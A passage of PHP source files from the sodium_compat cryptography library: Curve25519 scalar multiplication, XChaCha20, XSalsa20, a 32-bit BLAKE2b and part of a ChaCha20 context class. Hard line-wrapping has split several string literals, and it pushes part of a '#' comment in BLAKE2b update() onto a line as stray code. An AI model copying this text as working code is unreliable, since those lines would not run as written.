        /** @var int $carry2 */
        $carry2 = ($h[2] + (1 << 25)) >> 26;
        $h[3] += $carry2;
        $h[2] -= $carry2 << 26;
        /** @var int $carry4 */
        $carry4 = ($h[4] + (1 << 25)) >> 26;
        $h[5] += $carry4;
        $h[4] -= $carry4 << 26;
        /** @var int $carry6 */
        $carry6 = ($h[6] + (1 << 25)) >> 26;
        $h[7] += $carry6;
        $h[6] -= $carry6 << 26;
        /** @var int $carry8 */
        $carry8 = ($h[8] + (1 << 25)) >> 26;
        $h[9] += $carry8;
        $h[8] -= $carry8 << 26;

        foreach ($h as $i => $value) {
            $h[$i] = (int) $value;
        }
        return ParagonIE_Sodium_Core_Curve25519_Fe::fromArray($h);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * Inline comments preceded by # are from libsodium's ref10 code.
     *
     * @param string $n
     * @param string $p
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function crypto_scalarmult_curve25519_ref10($n, $p)
    {
        # for (i = 0;i < 32;++i) e[i] = n[i];
        $e = '' . $n;
        # e[0] &= 248;
        $e[0] = self::intToChr(
            self::chrToInt($e[0]) & 248
        );
        # e[31] &= 127;
        # e[31] |= 64;
        $e[31] = self::intToChr(
            (self::chrToInt($e[31]) & 127) | 64
        );
        # fe_frombytes(x1,p);
        $x1 = self::fe_frombytes($p);
        # fe_1(x2);
        $x2 = self::fe_1();
        # fe_0(z2);
        $z2 = self::fe_0();
        # fe_copy(x3,x1);
        $x3 = self::fe_copy($x1);
        # fe_1(z3);
        $z3 = self::fe_1();

        # swap = 0;
        /** @var int $swap */
        $swap = 0;

        # for (pos = 254;pos >= 0;--pos) {
        for ($pos = 254; $pos >= 0; --$pos) {
            # b = e[pos / 8] >> (pos & 7);
            /** @var int $b */
            $b = self::chrToInt(
                    $e[(int) floor($pos / 8)]
                ) >> ($pos & 7);
            # b &= 1;
            $b &= 1;
            # swap ^= b;
            $swap ^= $b;
            # fe_cswap(x2,x3,swap);
            self::fe_cswap($x2, $x3, $swap);
            # fe_cswap(z2,z3,swap);
            self::fe_cswap($z2, $z3, $swap);
            # swap = b;
            $swap = $b;
            # fe_sub(tmp0,x3,z3);
            $tmp0 = self::fe_sub($x3, $z3);
            # fe_sub(tmp1,x2,z2);
            $tmp1 = self::fe_sub($x2, $z2);

            # fe_add(x2,x2,z2);
            $x2 = self::fe_add($x2, $z2);

            # fe_add(z2,x3,z3);
            $z2 = self::fe_add($x3, $z3);

            # fe_mul(z3,tmp0,x2);
            $z3 = self::fe_mul($tmp0, $x2);

            # fe_mul(z2,z2,tmp1);
            $z2 = self::fe_mul($z2, $tmp1);

            # fe_sq(tmp0,tmp1);
            $tmp0 = self::fe_sq($tmp1);

            # fe_sq(tmp1,x2);
            $tmp1 = self::fe_sq($x2);

            # fe_add(x3,z3,z2);
            $x3 = self::fe_add($z3, $z2);

            # fe_sub(z2,z3,z2);
            $z2 = self::fe_sub($z3, $z2);

            # fe_mul(x2,tmp1,tmp0);
            $x2 = self::fe_mul($tmp1, $tmp0);

            # fe_sub(tmp1,tmp1,tmp0);
            $tmp1 = self::fe_sub($tmp1, $tmp0);

            # fe_sq(z2,z2);
            $z2 = self::fe_sq($z2);

            # fe_mul121666(z3,tmp1);
            $z3 = self::fe_mul121666($tmp1);

            # fe_sq(x3,x3);
            $x3 = self::fe_sq($x3);

            # fe_add(tmp0,tmp0,z3);
            $tmp0 = self::fe_add($tmp0, $z3);

            # fe_mul(z3,x1,z2);
            $z3 = self::fe_mul($x1, $z2);

            # fe_mul(z2,tmp1,tmp0);
            $z2 = self::fe_mul($tmp1, $tmp0);
        }

        # fe_cswap(x2,x3,swap);
        self::fe_cswap($x2, $x3, $swap);

        # fe_cswap(z2,z3,swap);
        self::fe_cswap($z2, $z3, $swap);

        # fe_invert(z2,z2);
        $z2 = self::fe_invert($z2);

        # fe_mul(x2,x2,z2);
        $x2 = self::fe_mul($x2, $z2);
        # fe_tobytes(q,x2);
        return self::fe_tobytes($x2);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $edwardsY
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $edwardsZ
     * @return ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public static function edwards_to_montgomery(
        ParagonIE_Sodium_Core_Curve25519_Fe $edwardsY,
        ParagonIE_Sodium_Core_Curve25519_Fe $edwardsZ
    ) {
        $tempX = self::fe_add($edwardsZ, $edwardsY);
        $tempZ = self::fe_sub($edwardsZ, $edwardsY);
        $tempZ = self::fe_invert($tempZ);
        return self::fe_mul($tempX, $tempZ);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $n
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function crypto_scalarmult_curve25519_ref10_base($n)
    {
        # for (i = 0;i < 32;++i) e[i] = n[i];
        $e = '' . $n;

        # e[0] &= 248;
        $e[0] = self::intToChr(
            self::chrToInt($e[0]) & 248
        );

        # e[31] &= 127;
        # e[31] |= 64;
        $e[31] = self::intToChr(
            (self::chrToInt($e[31]) & 127) | 64
        );

        $A = self::ge_scalarmult_base($e);
        if (
            !($A->Y instanceof ParagonIE_Sodium_Core_Curve25519_Fe)
                ||
            !($A->Z instanceof ParagonIE_Sodium_Core_Curve25519_Fe)
        ) {
            throw new TypeError('Null points encountered');
        }
        $pk = self::edwards_to_montgomery($A->Y, $A->Z);
        return self::fe_tobytes($pk);
    }
}
<?php

if (class_exists('ParagonIE_Sodium_Core_XChaCha20', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_XChaCha20
 */
class ParagonIE_Sodium_Core_XChaCha20 extends
ParagonIE_Sodium_Core_HChaCha20
{
    /**
     * @internal You should not use this directly from another application
     *
     * @param int $len
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function stream($len = 64, $nonce = '', $key =
'')
    {
        if (self::strlen($nonce) !== 24) {
            throw new SodiumException('Nonce must be 24 bytes
long');
        }
        return self::encryptBytes(
            new ParagonIE_Sodium_Core_ChaCha20_Ctx(
                self::hChaCha20(
                    self::substr($nonce, 0, 16),
                    $key
                ),
                self::substr($nonce, 16, 8)
            ),
            str_repeat("\x00", $len)
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $message
     * @param string $nonce
     * @param string $key
     * @param string $ic
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function streamXorIc($message, $nonce = '',
$key = '', $ic = '')
    {
        if (self::strlen($nonce) !== 24) {
            throw new SodiumException('Nonce must be 24 bytes
long');
        }
        return self::encryptBytes(
            new ParagonIE_Sodium_Core_ChaCha20_Ctx(
                self::hChaCha20(self::substr($nonce, 0, 16), $key),
                self::substr($nonce, 16, 8),
                $ic
            ),
            $message
        );
    }
}
<?php

if (class_exists('ParagonIE_Sodium_Core_XSalsa20', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_XSalsa20
 */
abstract class ParagonIE_Sodium_Core_XSalsa20 extends
ParagonIE_Sodium_Core_HSalsa20
{
    /**
     * Expand a key and nonce into an xsalsa20 keystream.
     *
     * @internal You should not use this directly from another application
     *
     * @param int $len
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function xsalsa20($len, $nonce, $key)
    {
        $ret = self::salsa20(
            $len,
            self::substr($nonce, 16, 8),
            self::hsalsa20($nonce, $key)
        );
        return $ret;
    }

    /**
     * Encrypt a string with XSalsa20. Doesn't provide integrity.
     *
     * @internal You should not use this directly from another application
     *
     * @param string $message
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function xsalsa20_xor($message, $nonce, $key)
    {
        return self::xorStrings(
            $message,
            self::xsalsa20(
                self::strlen($message),
                $nonce,
                $key
            )
        );
    }
}
<?php

if (class_exists('ParagonIE_Sodium_Core_BLAKE2b', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_BLAKE2b
 *
 * Based on the work of Devi Mandiri in devi/salt.
 */
abstract class ParagonIE_Sodium_Core32_BLAKE2b extends
ParagonIE_Sodium_Core_Util
{
    /**
     * @var SplFixedArray
     */
    public static $iv;

    /**
     * @var array<int, array<int, int>>
     */
    public static $sigma = array(
        array(  0,  1,  2,  3,  4,  5,  6,  7,  8,  9, 10, 11, 12, 13, 14,
15),
        array( 14, 10,  4,  8,  9, 15, 13,  6,  1, 12,  0,  2, 11,  7,  5, 
3),
        array( 11,  8, 12,  0,  5,  2, 15, 13, 10, 14,  3,  6,  7,  1,  9, 
4),
        array(  7,  9,  3,  1, 13, 12, 11, 14,  2,  6,  5, 10,  4,  0, 15, 
8),
        array(  9,  0,  5,  7,  2,  4, 10, 15, 14,  1, 11, 12,  6,  8,  3,
13),
        array(  2, 12,  6, 10,  0, 11,  8,  3,  4, 13,  7,  5, 15, 14,  1, 
9),
        array( 12,  5,  1, 15, 14, 13,  4, 10,  0,  7,  6,  3,  9,  2,  8,
11),
        array( 13, 11,  7, 14, 12,  1,  3,  9,  5,  0, 15,  4,  8,  6,  2,
10),
        array(  6, 15, 14,  9, 11,  3,  0,  8, 12,  2, 13,  7,  1,  4, 10, 
5),
        array( 10,  2,  8,  4,  7,  6,  1,  5, 15, 11,  9, 14,  3, 12, 13 ,
0),
        array(  0,  1,  2,  3,  4,  5,  6,  7,  8,  9, 10, 11, 12, 13, 14,
15),
        array( 14, 10,  4,  8,  9, 15, 13,  6,  1, 12,  0,  2, 11,  7,  5, 
3)
    );

    const BLOCKBYTES = 128;
    const OUTBYTES   = 64;
    const KEYBYTES   = 64;

    /**
     * Turn two 32-bit integers into a fixed array representing a 64-bit
integer.
     *
     * @internal You should not use this directly from another application
     *
     * @param int $high
     * @param int $low
     * @return ParagonIE_Sodium_Core32_Int64
     * @throws SodiumException
     * @throws TypeError
     */
    public static function new64($high, $low)
    {
        return ParagonIE_Sodium_Core32_Int64::fromInts($low, $high);
    }

    /**
     * Convert an arbitrary number into an SplFixedArray of two 32-bit
integers
     * that represents a 64-bit integer.
     *
     * @internal You should not use this directly from another application
     *
     * @param int $num
     * @return ParagonIE_Sodium_Core32_Int64
     * @throws SodiumException
     * @throws TypeError
     */
    protected static function to64($num)
    {
        list($hi, $lo) = self::numericTo64BitInteger($num);
        return self::new64($hi, $lo);
    }

    /**
     * Adds two 64-bit integers together, returning their sum as a
SplFixedArray
     * containing two 32-bit integers (representing a 64-bit integer).
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Int64 $x
     * @param ParagonIE_Sodium_Core32_Int64 $y
     * @return ParagonIE_Sodium_Core32_Int64
     */
    protected static function add64($x, $y)
    {
        return $x->addInt64($y);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Int64 $x
     * @param ParagonIE_Sodium_Core32_Int64 $y
     * @param ParagonIE_Sodium_Core32_Int64 $z
     * @return ParagonIE_Sodium_Core32_Int64
     */
    public static function add364($x, $y, $z)
    {
        return $x->addInt64($y)->addInt64($z);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Int64 $x
     * @param ParagonIE_Sodium_Core32_Int64 $y
     * @return ParagonIE_Sodium_Core32_Int64
     * @throws TypeError
     */
    public static function xor64(ParagonIE_Sodium_Core32_Int64 $x,
ParagonIE_Sodium_Core32_Int64 $y)
    {
        return $x->xorInt64($y);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Int64 $x
     * @param int $c
     * @return ParagonIE_Sodium_Core32_Int64
     * @throws SodiumException
     * @throws TypeError
     */
    public static function rotr64(ParagonIE_Sodium_Core32_Int64 $x, $c)
    {
        return $x->rotateRight($c);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray $x
     * @param int $i
     * @return ParagonIE_Sodium_Core32_Int64
     * @throws SodiumException
     * @throws TypeError
     */
    public static function load64($x, $i)
    {
        /** @var int $l */
        $l = (int) ($x[$i])
             | ((int) ($x[$i+1]) << 8)
             | ((int) ($x[$i+2]) << 16)
             | ((int) ($x[$i+3]) << 24);
        /** @var int $h */
        $h = (int) ($x[$i+4])
             | ((int) ($x[$i+5]) << 8)
             | ((int) ($x[$i+6]) << 16)
             | ((int) ($x[$i+7]) << 24);
        return self::new64($h, $l);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray $x
     * @param int $i
     * @param ParagonIE_Sodium_Core32_Int64 $u
     * @return void
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedAssignment
     * @psalm-suppress MixedArrayAccess
     * @psalm-suppress MixedArrayAssignment
     * @psalm-suppress MixedArrayOffset
     */
    public static function store64(SplFixedArray $x, $i,
ParagonIE_Sodium_Core32_Int64 $u)
    {
        $v = clone $u;
        $maxLength = $x->getSize() - 1;
        for ($j = 0; $j < 8; ++$j) {
            $k = 3 - ($j >> 1);
            $x[$i] = $v->limbs[$k] & 0xff;
            if (++$i > $maxLength) {
                return;
            }
            $v->limbs[$k] >>= 8;
        }
    }

    /**
     * This just sets the $iv static variable.
     *
     * @internal You should not use this directly from another application
     *
     * @return void
     * @throws SodiumException
     * @throws TypeError
     */
    public static function pseudoConstructor()
    {
        static $called = false;
        if ($called) {
            return;
        }
        self::$iv = new SplFixedArray(8);
        self::$iv[0] = self::new64(0x6a09e667, 0xf3bcc908);
        self::$iv[1] = self::new64(0xbb67ae85, 0x84caa73b);
        self::$iv[2] = self::new64(0x3c6ef372, 0xfe94f82b);
        self::$iv[3] = self::new64(0xa54ff53a, 0x5f1d36f1);
        self::$iv[4] = self::new64(0x510e527f, 0xade682d1);
        self::$iv[5] = self::new64(0x9b05688c, 0x2b3e6c1f);
        self::$iv[6] = self::new64(0x1f83d9ab, 0xfb41bd6b);
        self::$iv[7] = self::new64(0x5be0cd19, 0x137e2179);

        $called = true;
    }

    /**
     * Returns a fresh BLAKE2 context.
     *
     * @internal You should not use this directly from another application
     *
     * @return SplFixedArray
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedAssignment
     * @psalm-suppress MixedArrayAccess
     * @psalm-suppress MixedArrayAssignment
     * @psalm-suppress MixedArrayOffset
     * @throws SodiumException
     * @throws TypeError
     */
    protected static function context()
    {
        $ctx    = new SplFixedArray(5);
        $ctx[0] = new SplFixedArray(8);   // h
        $ctx[1] = new SplFixedArray(2);   // t
        $ctx[2] = new SplFixedArray(2);   // f
        $ctx[3] = new SplFixedArray(256); // buf
        $ctx[4] = 0;                      // buflen

        for ($i = 8; $i--;) {
            $ctx[0][$i] = self::$iv[$i];
        }
        for ($i = 256; $i--;) {
            $ctx[3][$i] = 0;
        }

        $zero = self::new64(0, 0);
        $ctx[1][0] = $zero;
        $ctx[1][1] = $zero;
        $ctx[2][0] = $zero;
        $ctx[2][1] = $zero;

        return $ctx;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray $ctx
     * @param SplFixedArray $buf
     * @return void
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedArrayAccess
     * @psalm-suppress MixedArrayAssignment
     * @psalm-suppress MixedAssignment
     */
    protected static function compress(SplFixedArray $ctx, SplFixedArray
$buf)
    {
        $m = new SplFixedArray(16);
        $v = new SplFixedArray(16);

        for ($i = 16; $i--;) {
            $m[$i] = self::load64($buf, $i << 3);
        }

        for ($i = 8; $i--;) {
            $v[$i] = $ctx[0][$i];
        }

        $v[ 8] = self::$iv[0];
        $v[ 9] = self::$iv[1];
        $v[10] = self::$iv[2];
        $v[11] = self::$iv[3];

        $v[12] = self::xor64($ctx[1][0], self::$iv[4]);
        $v[13] = self::xor64($ctx[1][1], self::$iv[5]);
        $v[14] = self::xor64($ctx[2][0], self::$iv[6]);
        $v[15] = self::xor64($ctx[2][1], self::$iv[7]);

        for ($r = 0; $r < 12; ++$r) {
            $v = self::G($r, 0, 0, 4, 8, 12, $v, $m);
            $v = self::G($r, 1, 1, 5, 9, 13, $v, $m);
            $v = self::G($r, 2, 2, 6, 10, 14, $v, $m);
            $v = self::G($r, 3, 3, 7, 11, 15, $v, $m);
            $v = self::G($r, 4, 0, 5, 10, 15, $v, $m);
            $v = self::G($r, 5, 1, 6, 11, 12, $v, $m);
            $v = self::G($r, 6, 2, 7, 8, 13, $v, $m);
            $v = self::G($r, 7, 3, 4, 9, 14, $v, $m);
        }

        for ($i = 8; $i--;) {
            $ctx[0][$i] = self::xor64(
                $ctx[0][$i], self::xor64($v[$i], $v[$i+8])
            );
        }
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $r
     * @param int $i
     * @param int $a
     * @param int $b
     * @param int $c
     * @param int $d
     * @param SplFixedArray $v
     * @param SplFixedArray $m
     * @return SplFixedArray
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedArrayOffset
     */
    public static function G($r, $i, $a, $b, $c, $d, SplFixedArray $v,
SplFixedArray $m)
    {
        $v[$a] = self::add364($v[$a], $v[$b], $m[self::$sigma[$r][$i
<< 1]]);
        $v[$d] = self::rotr64(self::xor64($v[$d], $v[$a]), 32);
        $v[$c] = self::add64($v[$c], $v[$d]);
        $v[$b] = self::rotr64(self::xor64($v[$b], $v[$c]), 24);
        $v[$a] = self::add364($v[$a], $v[$b], $m[self::$sigma[$r][($i
<< 1) + 1]]);
        $v[$d] = self::rotr64(self::xor64($v[$d], $v[$a]), 16);
        $v[$c] = self::add64($v[$c], $v[$d]);
        $v[$b] = self::rotr64(self::xor64($v[$b], $v[$c]), 63);
        return $v;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray $ctx
     * @param int $inc
     * @return void
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedArrayAccess
     * @psalm-suppress MixedArrayAssignment
     */
    public static function increment_counter($ctx, $inc)
    {
        if ($inc < 0) {
            throw new SodiumException('Increasing by a negative number
makes no sense.');
        }
        $t = self::to64($inc);
        # S->t is $ctx[1] in our implementation

        # S->t[0] = ( uint64_t )( t >> 0 );
        $ctx[1][0] = self::add64($ctx[1][0], $t);

        # S->t[1] += ( S->t[0] < inc );
        if (!($ctx[1][0] instanceof ParagonIE_Sodium_Core32_Int64)) {
            throw new TypeError('Not an int64');
        }
        /** @var ParagonIE_Sodium_Core32_Int64 $c*/
        $c = $ctx[1][0];
        if ($c->isLessThanInt($inc)) {
            $ctx[1][1] = self::add64($ctx[1][1], self::to64(1));
        }
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray $ctx
     * @param SplFixedArray $p
     * @param int $plen
     * @return void
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedAssignment
     * @psalm-suppress MixedArrayAccess
     * @psalm-suppress MixedArrayAssignment
     * @psalm-suppress MixedArrayOffset
     * @psalm-suppress MixedMethodCall
     * @psalm-suppress MixedOperand
     */
    public static function update(SplFixedArray $ctx, SplFixedArray $p,
$plen)
    {
        self::pseudoConstructor();

        $offset = 0;
        while ($plen > 0) {
            $left = $ctx[4];
            $fill = 256 - $left;

            if ($plen > $fill) {
                # memcpy( S->buf + left, in, fill ); /* Fill buffer */
                for ($i = $fill; $i--;) {
                    $ctx[3][$i + $left] = $p[$i + $offset];
                }

                # S->buflen += fill;
                $ctx[4] += $fill;

                # blake2b_increment_counter( S, BLAKE2B_BLOCKBYTES );
                self::increment_counter($ctx, 128);

                # blake2b_compress( S, S->buf ); /* Compress */
                self::compress($ctx, $ctx[3]);

                # memcpy( S->buf, S->buf + BLAKE2B_BLOCKBYTES,
BLAKE2B_BLOCKBYTES ); /* Shift buffer left */
                for ($i = 128; $i--;) {
                    $ctx[3][$i] = $ctx[3][$i + 128];
                }

                # S->buflen -= BLAKE2B_BLOCKBYTES;
                $ctx[4] -= 128;

                # in += fill;
                $offset += $fill;

                # inlen -= fill;
                $plen -= $fill;
            } else {
                for ($i = $plen; $i--;) {
                    $ctx[3][$i + $left] = $p[$i + $offset];
                }
                $ctx[4] += $plen;
                $offset += $plen;
                $plen -= $plen;
            }
        }
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray $ctx
     * @param SplFixedArray $out
     * @return SplFixedArray
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedAssignment
     * @psalm-suppress MixedArrayAccess
     * @psalm-suppress MixedArrayAssignment
     * @psalm-suppress MixedArrayOffset
     * @psalm-suppress MixedMethodCall
     * @psalm-suppress MixedOperand
     */
    public static function finish(SplFixedArray $ctx, SplFixedArray $out)
    {
        self::pseudoConstructor();
        if ($ctx[4] > 128) {
            self::increment_counter($ctx, 128);
            self::compress($ctx, $ctx[3]);
            $ctx[4] -= 128;
            if ($ctx[4] > 128) {
                throw new SodiumException('Failed to assert that
buflen <= 128 bytes');
            }
            for ($i = $ctx[4]; $i--;) {
                $ctx[3][$i] = $ctx[3][$i + 128];
            }
        }

        self::increment_counter($ctx, $ctx[4]);
        $ctx[2][0] = self::new64(0xffffffff, 0xffffffff);

        for ($i = 256 - $ctx[4]; $i--;) {
            /** @var int $i */
            $ctx[3][$i + $ctx[4]] = 0;
        }

        self::compress($ctx, $ctx[3]);

        $i = (int) (($out->getSize() - 1) / 8);
        for (; $i >= 0; --$i) {
            self::store64($out, $i << 3, $ctx[0][$i]);
        }
        return $out;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray|null $key
     * @param int $outlen
     * @return SplFixedArray
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedAssignment
     * @psalm-suppress MixedArrayAccess
     * @psalm-suppress MixedArrayAssignment
     * @psalm-suppress MixedMethodCall
     */
    public static function init($key = null, $outlen = 64)
    {
        self::pseudoConstructor();
        $klen = 0;

        if ($key !== null) {
            if (count($key) > 64) {
                throw new SodiumException('Invalid key size');
            }
            $klen = count($key);
        }

        if ($outlen > 64) {
            throw new SodiumException('Invalid output size');
        }

        $ctx = self::context();

        $p = new SplFixedArray(64);
        for ($i = 64; --$i;) {
            $p[$i] = 0;
        }

        $p[0] = $outlen; // digest_length
        $p[1] = $klen;   // key_length
        $p[2] = 1;       // fanout
        $p[3] = 1;       // depth

        $ctx[0][0] = self::xor64(
            $ctx[0][0],
            self::load64($p, 0)
        );

        if ($klen > 0 && $key instanceof SplFixedArray) {
            $block = new SplFixedArray(128);
            for ($i = 128; $i--;) {
                $block[$i] = 0;
            }
            for ($i = $klen; $i--;) {
                $block[$i] = $key[$i];
            }
            self::update($ctx, $block, 128);
        }

        return $ctx;
    }

    /**
     * Convert a string into an SplFixedArray of integers
     *
     * @internal You should not use this directly from another application
     *
     * @param string $str
     * @return SplFixedArray
     */
    public static function stringToSplFixedArray($str = '')
    {
        $values = unpack('C*', $str);
        return SplFixedArray::fromArray(array_values($values));
    }

    /**
     * Convert an SplFixedArray of integers into a string
     *
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray $a
     * @return string
     */
    public static function SplFixedArrayToString(SplFixedArray $a)
    {
        /**
         * @var array<int, string|int>
         */
        $arr = $a->toArray();
        $c = $a->count();
        array_unshift($arr, str_repeat('C', $c));
        return (string) (call_user_func_array('pack', $arr));
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param SplFixedArray[SplFixedArray] $ctx
     * @return string
     * @throws TypeError
     * @psalm-suppress MixedArgument
     * @psalm-suppress MixedArrayAccess
     * @psalm-suppress MixedArrayAssignment
     * @psalm-suppress MixedMethodCall
     */
    public static function contextToString(SplFixedArray $ctx)
    {
        $str = '';
        /** @var array<int, ParagonIE_Sodium_Core32_Int64> $ctxA */
        $ctxA = $ctx[0]->toArray();

        # uint64_t h[8];
        for ($i = 0; $i < 8; ++$i) {
            if (!($ctxA[$i] instanceof ParagonIE_Sodium_Core32_Int64)) {
                throw new TypeError('Not an instance of Int64');
            }
            /** @var ParagonIE_Sodium_Core32_Int64 $ctxAi */
            $ctxAi = $ctxA[$i];
            $str .= $ctxAi->toString();
        }

        # uint64_t t[2];
        # uint64_t f[2];
        for ($i = 1; $i < 3; ++$i) {
            /** @var array<int, ParagonIE_Sodium_Core32_Int64> $ctxA
*/
            $ctxA = $ctx[$i]->toArray();
            /** @var ParagonIE_Sodium_Core32_Int64 $ctxA1 */
            $ctxA1 = $ctxA[0];
            /** @var ParagonIE_Sodium_Core32_Int64 $ctxA2 */
            $ctxA2 = $ctxA[1];

            $str .= $ctxA1->toString();
            $str .= $ctxA2->toString();
        }

        # uint8_t buf[2 * 128];
        $str .= self::SplFixedArrayToString($ctx[3]);

        /** @var int $ctx4 */
        $ctx4 = $ctx[4];

        # size_t buflen;
        $str .= implode('', array(
            self::intToChr($ctx4 & 0xff),
            self::intToChr(($ctx4 >> 8) & 0xff),
            self::intToChr(($ctx4 >> 16) & 0xff),
            self::intToChr(($ctx4 >> 24) & 0xff),
            self::intToChr(($ctx4 >> 32) & 0xff),
            self::intToChr(($ctx4 >> 40) & 0xff),
            self::intToChr(($ctx4 >> 48) & 0xff),
            self::intToChr(($ctx4 >> 56) & 0xff)
        ));
        # uint8_t last_node;
        return $str . "\x00";
    }

    /**
     * Creates an SplFixedArray containing other SplFixedArray elements,
from
     * a string (compatible with \Sodium\crypto_generichash_{init, update,
final})
     *
     * @internal You should not use this directly from another application
     *
     * @param string $string
     * @return SplFixedArray
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArrayAccess
     * @psalm-suppress MixedArrayAssignment
     */
    public static function stringToContext($string)
    {
        $ctx = self::context();

        # uint64_t h[8];
        for ($i = 0; $i < 8; ++$i) {
            $ctx[0][$i] = ParagonIE_Sodium_Core32_Int64::fromString(
                self::substr($string, (($i << 3) + 0), 8)
            );
        }

        # uint64_t t[2];
        # uint64_t f[2];
        for ($i = 1; $i < 3; ++$i) {
            $ctx[$i][1] = ParagonIE_Sodium_Core32_Int64::fromString(
                self::substr($string, 72 + (($i - 1) << 4), 8)
            );
            $ctx[$i][0] = ParagonIE_Sodium_Core32_Int64::fromString(
                self::substr($string, 64 + (($i - 1) << 4), 8)
            );
        }

        # uint8_t buf[2 * 128];
        $ctx[3] = self::stringToSplFixedArray(self::substr($string, 96,
256));


        # uint8_t buf[2 * 128];
        $int = 0;
        for ($i = 0; $i < 8; ++$i) {
            $int |= self::chrToInt($string[352 + $i]) << ($i <<
3);
        }
        $ctx[4] = $int;

        return $ctx;
    }
}
<?php

if (class_exists('ParagonIE_Sodium_Core_ChaCha20_Ctx', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core32_ChaCha20_Ctx
 */
class ParagonIE_Sodium_Core32_ChaCha20_Ctx extends
ParagonIE_Sodium_Core32_Util implements ArrayAccess
{
    /**
     * @var SplFixedArray internally, <int,
ParagonIE_Sodium_Core32_Int32>
     */
    protected $container;

    /**
     * ParagonIE_Sodium_Core_ChaCha20_Ctx constructor.
     *
     * @internal You should not use this directly from another application
     *
     * @param string $key     ChaCha20 key.
     * @param string $iv      Initialization Vector (a.k.a. nonce).
     * @param string $counter The initial counter value.
     *                        Defaults to 8 0x00 bytes.
     * @throws InvalidArgumentException
     * @throws SodiumException
     * @throws TypeError
     */
    public function __construct($key = '', $iv = '',
$counter = '')
    {
        if (self::strlen($key) !== 32) {
            throw new InvalidArgumentException('ChaCha20 expects a
256-bit key.');
        }
        if (self::strlen($iv) !== 8) {
            throw new InvalidArgumentException('ChaCha20 expects a
64-bit nonce.');
        }
        $this->container = new SplFixedArray(16);

        /* "expand 32-byte k" as per ChaCha20 spec */
        $this->container[0]  = new
ParagonIE_Sodium_Core32_Int32(array(0x6170, 0x7865));
        $this->container[1]  = new
ParagonIE_Sodium_Core32_Int32(array(0x3320, 0x646e));
        $this->container[2]  = new
ParagonIE_Sodium_Core32_Int32(array(0x7962, 0x2d32));
        $this->container[3]  = new
ParagonIE_Sodium_Core32_Int32(array(0x6b20, 0x6574));

        $this->container[4]  =
ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 0, 4));
        $this->container[5]  =
ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 4, 4));
        $this->container[6]  =
ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 8, 4));
        $this->container[7]  =
ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 12,
4));
        $this->container[8]  =
ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 16,
4));
        $this->container[9]  =
ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 20,
4));
        $this->container[10] =
ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 24,
4));
        $this->container[11] =
ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($key, 28,
4));

        if (empty($counter)) {
            $this->container[12] = new ParagonIE_Sodium_Core32_Int32();
            $this->container[13] = new ParagonIE_Sodium_Core32_Int32();
        } else {
            $this->container[12] =
ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($counter, 0,
4));
            $this->container[13] =
ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($counter, 4,
4));
        }
        $this->container[14] =
ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($iv, 0, 4));
        $this->container[15] =
ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($iv, 4, 4));
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $offset
     * @param int|ParagonIE_Sodium_Core32_Int32 $value
     * @return void
     */
    public function offsetSet($offset, $value)
    {
        if (!is_int($offset)) {
